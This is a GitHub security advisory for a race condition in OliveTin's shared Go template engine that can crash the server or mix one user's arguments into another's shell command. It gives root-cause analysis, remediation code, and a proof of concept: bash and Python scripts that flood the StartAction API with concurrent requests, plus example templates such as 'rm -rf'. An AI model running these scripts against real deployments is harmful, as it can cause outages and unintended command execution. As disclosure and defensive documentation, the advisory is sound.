GHSA-7FQ5-7WR8-RJWJ

Vulnerability from github – Published: 2026-06-24 17:38 – Updated: 2026-06-24 17:38
VLAI
Summary
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Details

Summary

OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:

  1. Cross-user command contamination: User A's arguments rendered in User B's shell command template
  2. Go runtime panic: Concurrent map writes in Go's text/template internal structures cause a fatal crash
  3. Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands

CWE

  • CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
  • CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

Affected Versions

  • All versions (the shared template has existed since the template system was introduced)

Details

The Shared Template Instance

In service/internal/tpl/templates.go:

var tpl = template.New("tpl").
    Option("missingkey=error").
    Funcs(template.FuncMap{"Json": jsonFunc})

This is a package-level variable — a single *template.Template shared across the entire process.

Unsafe Parse + Execute Pattern

The parseTemplate function is called for every template rendering:

func parseTemplate(source string, data any) (string, error) {
    t, err := tpl.Parse(source)   // Modifies shared tpl's internal Tree
    if err != nil {
        return "", err
    }

    var sb strings.Builder
    err = t.Execute(&sb, data)    // Reads from tpl's internal Tree
    // ...
}

Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:

Goroutine A (Action "echo {{ .Arguments.name }}"):
  1. tpl.Parse("echo {{ .Arguments.name }}")     → sets tpl.Tree = TreeA
  2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA

Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
  1. tpl.Parse("rm -rf {{ .Arguments.path }}")   → sets tpl.Tree = TreeB
  2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB

If the goroutines interleave:

  A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!

Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.

No Synchronization Exists

A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:

$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)

Concurrent Goroutine Confirmation

In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:

func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
    // ...
    go func() {
        e.execChain(req)    // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
        defer wg.Done()
    }()
    return wg, req.TrackingID
}

The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.

Go Runtime Crash Vector

Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:

fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)

This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.

Template Contamination Vector

Even without a crash, the race can produce dangerous results:

  1. User A triggers action: shell: "echo Hello {{ .Arguments.name }}" with name=Alice
  2. User B triggers action: shell: "sudo systemctl restart {{ .Arguments.service }}" with service=nginx
  3. Race occurs: User A's Execute runs on User B's parsed template
  4. If User A's arguments contain a service key, that value is substituted into sudo systemctl restart {{ .Arguments.service }}
  5. If User A's arguments do NOT contain service, missingkey=error causes an error — but only AFTER the template was already partially evaluated

Call Chain

API Request → ExecRequest (goroutine) → execChain → stepParseArgs
  → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
                                                      ↑ RACE CONDITION ↑
                                                  (shared tpl variable)

PoC

Prerequisites

  • OliveTin instance with at least 2 configured actions
  • Ability to trigger concurrent action executions

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Safe Echo
    id: safe-echo
    shell: "echo 'Hello {{ .Arguments.name }}'"
    arguments:
      - name: name
        type: ascii

  - title: File Delete
    id: file-delete
    shell: "rm -f /tmp/{{ .Arguments.target }}"
    arguments:
      - name: target
        type: ascii_identifier

Step 1: Trigger concurrent executions

#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"

Step 2: Check for crash

# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)

Step 3: Check logs for contamination

# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log

Python PoC — Race Trigger

#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination

Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.

Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""

import requests
import threading
import time

TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100

crash_detected = threading.Event()
errors_detected = []

def fire_action_a():
    """Trigger 'safe-echo' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "safe-echo",
                    "arguments": [{"name": "name", "value": "Alice"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action A exception: {e}")

def fire_action_b():
    """Trigger 'file-delete' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "file-delete",
                    "arguments": [{"name": "target", "value": "test"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action B exception: {e}")

if __name__ == "__main__":
    print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
    print(f"[*] Target: {TARGET}")

    threads = []
    for _ in range(THREADS):
        threads.append(threading.Thread(target=fire_action_a))
        threads.append(threading.Thread(target=fire_action_b))

    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    elapsed = time.time() - start

    print(f"\n[*] Completed in {elapsed:.1f}s")
    print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")

    if crash_detected.is_set():
        print("[!] SERVER CRASH DETECTED — concurrent map write panic")
    if errors_detected:
        print(f"[!] {len(errors_detected)} errors detected:")
        for err in errors_detected[:10]:
            print(f"    - {err}")
    else:
        print("[*] No errors detected (race window may not have been hit)")
        print("[*] Try increasing THREADS/ITERATIONS or checking server logs")

Go Race Detector Verification

If you can run OliveTin with Go's race detector enabled:

cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race

Expected output:

WARNING: DATA RACE
  Write by goroutine X:
    text/template.(*Template).Parse()
    service/internal/tpl/templates.go:XX

  Previous read by goroutine Y:
    text/template.(*Template).Execute()
    service/internal/tpl/templates.go:XX

Impact

  • Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable fatal error, crashing the entire OliveTin service
  • Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
  • Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
  • Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output

Remediation

  1. Create a new template per parse call instead of reusing the package-level singleton: go func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... }

  2. Alternative: Use template.Must(tpl.Clone()) to create a thread-safe copy per call: go func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... }

  3. Alternative: Add a mutex around parseTemplate (but this serializes all template rendering and hurts performance): go var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }

Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.

Resources

  • Go text/template documentation: "A Template's Parse method must not be called concurrently"
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
  • service/internal/tpl/templates.go — shared tpl variable and parseTemplate function
  • service/internal/executor/executor.goExecRequest goroutine launch (line ~524)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.0.0-20260521225117-d74da9314005-"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260521225117-d74da9314005"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-567"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-24T17:38:12Z",
    "nvd_published_at": "2026-06-15T21:17:15Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s template engine uses a **single shared `text/template.Template` instance** (`tpl` package-level variable in `service/internal/tpl/templates.go`) across all goroutines. Every action execution calls `tpl.Parse(source)` followed by `t.Execute()` on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case \u2014 each `ExecRequest` spawns a goroutine), a race condition occurs: one goroutine\u0027s `Parse` overwrites the template tree while another goroutine is calling `Execute`, causing:\n\n1. **Cross-user command contamination**: User A\u0027s arguments rendered in User B\u0027s shell command template\n2. **Go runtime panic**: Concurrent map writes in Go\u0027s `text/template` internal structures cause a fatal crash\n3. **Incorrect command execution**: Template/argument mismatch produces unexpected or dangerous shell commands\n\n## CWE\n\n- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)\n\n## Affected Versions\n\n- All versions (the shared template has existed since the template system was introduced)\n\n## Details\n\n### The Shared Template Instance\n\nIn `service/internal/tpl/templates.go`:\n\n```go\nvar tpl = template.New(\"tpl\").\n    Option(\"missingkey=error\").\n    Funcs(template.FuncMap{\"Json\": jsonFunc})\n```\n\nThis is a **package-level variable** \u2014 a single `*template.Template` shared across the entire process.\n\n### Unsafe Parse + Execute Pattern\n\nThe `parseTemplate` function is called for every template rendering:\n\n```go\nfunc parseTemplate(source string, data any) (string, error) {\n    t, err := tpl.Parse(source)   // Modifies shared tpl\u0027s internal Tree\n    if err != nil {\n        return \"\", err\n    }\n\n    var sb strings.Builder\n    err = t.Execute(\u0026sb, data)    // Reads from tpl\u0027s internal Tree\n    // ...\n}\n```\n\n**Critical**: `tpl.Parse(source)` returns the same pointer as `tpl` (Go\u0027s `template.Parse` modifies the receiver and returns it). So `t` and `tpl` are the **same object**. When two goroutines call `parseTemplate` concurrently:\n\n```\nGoroutine A (Action \"echo {{ .Arguments.name }}\"):\n  1. tpl.Parse(\"echo {{ .Arguments.name }}\")     \u2192 sets tpl.Tree = TreeA\n  2. t.Execute(\u0026sb, {Arguments: {\"name\": \"safe\"}}) \u2192 walks TreeA\n\nGoroutine B (Action \"rm -rf {{ .Arguments.path }}\"):\n  1. tpl.Parse(\"rm -rf {{ .Arguments.path }}\")   \u2192 sets tpl.Tree = TreeB\n  2. t.Execute(\u0026sb, {Arguments: {\"path\": \"/tmp\"}}) \u2192 walks TreeB\n```\n\nIf the goroutines interleave:\n```\n  A.Parse(TreeA) \u2192 B.Parse(TreeB) \u2192 A.Execute(dataA) \u2192 executes TreeB with dataA!\n```\n\nGoroutine A would execute `rm -rf {{ .Arguments.path }}` with `dataA` \u2014 which either errors (missing key) or, if `dataA` happens to have a `path` argument, executes with an unintended value.\n\n### No Synchronization Exists\n\nA search for any synchronization primitives in the `tpl` package confirms **zero mutex, lock, or atomic operations**:\n\n```\n$ grep -r \"sync\\.\\|Mutex\\|Lock\\|mutex\" service/internal/tpl/\n(no results)\n```\n\n### Concurrent Goroutine Confirmation\n\nIn `service/internal/executor/executor.go`, `ExecRequest` launches each action in a new goroutine:\n\n```go\nfunc (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {\n    // ...\n    go func() {\n        e.execChain(req)    // Calls stepParseArgs \u2192 ParseTemplateWithActionContext \u2192 parseTemplate\n        defer wg.Done()\n    }()\n    return wg, req.TrackingID\n}\n```\n\nThe execution chain includes `stepParseArgs`, which calls `ParseTemplateWithActionContext`, which calls `parseTemplate`. Multiple concurrent action executions will race on the shared `tpl` variable.\n\n### Go Runtime Crash Vector\n\nGo\u0027s `text/template.Parse` internally modifies the template\u0027s `common` struct, which contains a `tmpl map[string]*Template`. In Go, concurrent map writes cause an **unrecoverable fatal error**:\n\n```\nfatal error: concurrent map writes\ngoroutine X [running]:\nruntime.throw(...)\n```\n\nThis is not a panic that can be recovered \u2014 it terminates the entire process. Two concurrent `Parse` calls can trigger this, crashing OliveTin.\n\n### Template Contamination Vector\n\nEven without a crash, the race can produce dangerous results:\n\n1. **User A** triggers action: `shell: \"echo Hello {{ .Arguments.name }}\"` with `name=Alice`\n2. **User B** triggers action: `shell: \"sudo systemctl restart {{ .Arguments.service }}\"` with `service=nginx`\n3. Race occurs: User A\u0027s `Execute` runs on User B\u0027s parsed template\n4. If User A\u0027s arguments contain a `service` key, that value is substituted into `sudo systemctl restart {{ .Arguments.service }}`\n5. If User A\u0027s arguments do NOT contain `service`, `missingkey=error` causes an error \u2014 but only AFTER the template was already partially evaluated\n\n### Call Chain\n\n```\nAPI Request \u2192 ExecRequest (goroutine) \u2192 execChain \u2192 stepParseArgs\n  \u2192 ParseTemplateWithActionContext \u2192 parseTemplate \u2192 tpl.Parse(source) + t.Execute(data)\n                                                      \u2191 RACE CONDITION \u2191\n                                                  (shared tpl variable)\n```\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least 2 configured actions\n- Ability to trigger concurrent action executions\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n  - title: Safe Echo\n    id: safe-echo\n    shell: \"echo \u0027Hello {{ .Arguments.name }}\u0027\"\n    arguments:\n      - name: name\n        type: ascii\n\n  - title: File Delete\n    id: file-delete\n    shell: \"rm -f /tmp/{{ .Arguments.target }}\"\n    arguments:\n      - name: target\n        type: ascii_identifier\n```\n\n### Step 1: Trigger concurrent executions\n\n```bash\n#!/bin/bash\n# Fire 50 concurrent requests to maximize race window\nfor i in $(seq 1 50); do\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"safe-echo\",\"arguments\":[{\"name\":\"name\",\"value\":\"Alice\"}]}\u0027 \u0026\n\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"file-delete\",\"arguments\":[{\"name\":\"target\",\"value\":\"test\"}]}\u0027 \u0026\ndone\nwait\necho \"All requests sent\"\n```\n\n### Step 2: Check for crash\n\n```bash\n# If OliveTin crashed due to concurrent map writes:\ncurl -s http://127.0.0.1:1337/readyz\n# Expected: Connection refused (process crashed)\n```\n\n### Step 3: Check logs for contamination\n\n```bash\n# Look for mismatched template executions in the OliveTin logs\ngrep -E \"missingkey|Error executing template|concurrent\" /var/log/olivetin.log\n```\n\n### Python PoC \u2014 Race Trigger\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Template Race Condition \u2014 Cross-Request Contamination\n\nTriggers concurrent action executions to race on the shared\ntext/template instance in service/internal/tpl/templates.go.\n\nExpected outcomes:\n1. Go fatal error: concurrent map writes (process crash)\n2. Template error: map has no entry for key (cross-contamination detected)\n3. Silent contamination: arguments rendered in wrong template\n\"\"\"\n\nimport requests\nimport threading\nimport time\n\nTARGET = \"http://127.0.0.1:1337\"\nTHREADS = 20\nITERATIONS = 100\n\ncrash_detected = threading.Event()\nerrors_detected = []\n\ndef fire_action_a():\n    \"\"\"Trigger \u0027safe-echo\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"safe-echo\",\n                    \"arguments\": [{\"name\": \"name\", \"value\": \"Alice\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action A error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action A exception: {e}\")\n\ndef fire_action_b():\n    \"\"\"Trigger \u0027file-delete\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"file-delete\",\n                    \"arguments\": [{\"name\": \"target\", \"value\": \"test\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action B error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action B exception: {e}\")\n\nif __name__ == \"__main__\":\n    print(f\"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each\")\n    print(f\"[*] Target: {TARGET}\")\n\n    threads = []\n    for _ in range(THREADS):\n        threads.append(threading.Thread(target=fire_action_a))\n        threads.append(threading.Thread(target=fire_action_b))\n\n    start = time.time()\n    for t in threads:\n        t.start()\n    for t in threads:\n        t.join()\n    elapsed = time.time() - start\n\n    print(f\"\\n[*] Completed in {elapsed:.1f}s\")\n    print(f\"[*] Total requests: {THREADS * 2 * ITERATIONS}\")\n\n    if crash_detected.is_set():\n        print(\"[!] SERVER CRASH DETECTED \u2014 concurrent map write panic\")\n    if errors_detected:\n        print(f\"[!] {len(errors_detected)} errors detected:\")\n        for err in errors_detected[:10]:\n            print(f\"    - {err}\")\n    else:\n        print(\"[*] No errors detected (race window may not have been hit)\")\n        print(\"[*] Try increasing THREADS/ITERATIONS or checking server logs\")\n```\n\n### Go Race Detector Verification\n\nIf you can run OliveTin with Go\u0027s race detector enabled:\n\n```bash\ncd service\ngo run -race . \u0026\n# Then trigger concurrent requests \u2014 the race detector will confirm the data race\n```\n\nExpected output:\n```\nWARNING: DATA RACE\n  Write by goroutine X:\n    text/template.(*Template).Parse()\n    service/internal/tpl/templates.go:XX\n\n  Previous read by goroutine Y:\n    text/template.(*Template).Execute()\n    service/internal/tpl/templates.go:XX\n```\n\n## Impact\n\n- **Process Crash (DoS)**: Concurrent map writes in Go cause an unrecoverable `fatal error`, crashing the entire OliveTin service\n- **Cross-User Command Contamination**: User A\u0027s arguments may be rendered in User B\u0027s shell command template, potentially executing commands with wrong/dangerous arguments\n- **Privilege Escalation via Contamination**: If a low-privilege user\u0027s arguments contaminate a high-privilege action\u0027s template, the result could be unintended command execution\n- **Data Leakage**: Arguments (which may contain secrets like passwords) could be rendered in another user\u0027s action output\n\n## Remediation\n\n1. **Create a new template per parse call** instead of reusing the package-level singleton:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       t, err := template.New(\"\").\n           Option(\"missingkey=error\").\n           Funcs(template.FuncMap{\"Json\": jsonFunc}).\n           Parse(source)\n       if err != nil {\n           return \"\", err\n       }\n       var sb strings.Builder\n       err = t.Execute(\u0026sb, data)\n       // ...\n   }\n   ```\n\n2. **Alternative**: Use `template.Must(tpl.Clone())` to create a thread-safe copy per call:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       clone, _ := tpl.Clone()\n       t, err := clone.Parse(source)\n       // ...\n   }\n   ```\n\n3. **Alternative**: Add a mutex around `parseTemplate` (but this serializes all template rendering and hurts performance):\n   ```go\n   var tplMutex sync.Mutex\n   func parseTemplate(source string, data any) (string, error) {\n       tplMutex.Lock()\n       defer tplMutex.Unlock()\n       // ...\n   }\n   ```\n\n   Option 1 (new template per call) is the recommended fix \u2014 it\u0027s simple, safe, and has negligible performance impact.\n\n## Resources\n\n- Go `text/template` documentation: \"A Template\u0027s Parse method must not be called concurrently\"\n- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization\n- `service/internal/tpl/templates.go` \u2014 shared `tpl` variable and `parseTemplate` function\n- `service/internal/executor/executor.go` \u2014 `ExecRequest` goroutine launch (line ~524)",
  "id": "GHSA-7fq5-7wr8-rjwj",
  "modified": "2026-06-24T17:38:12Z",
  "published": "2026-06-24T17:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…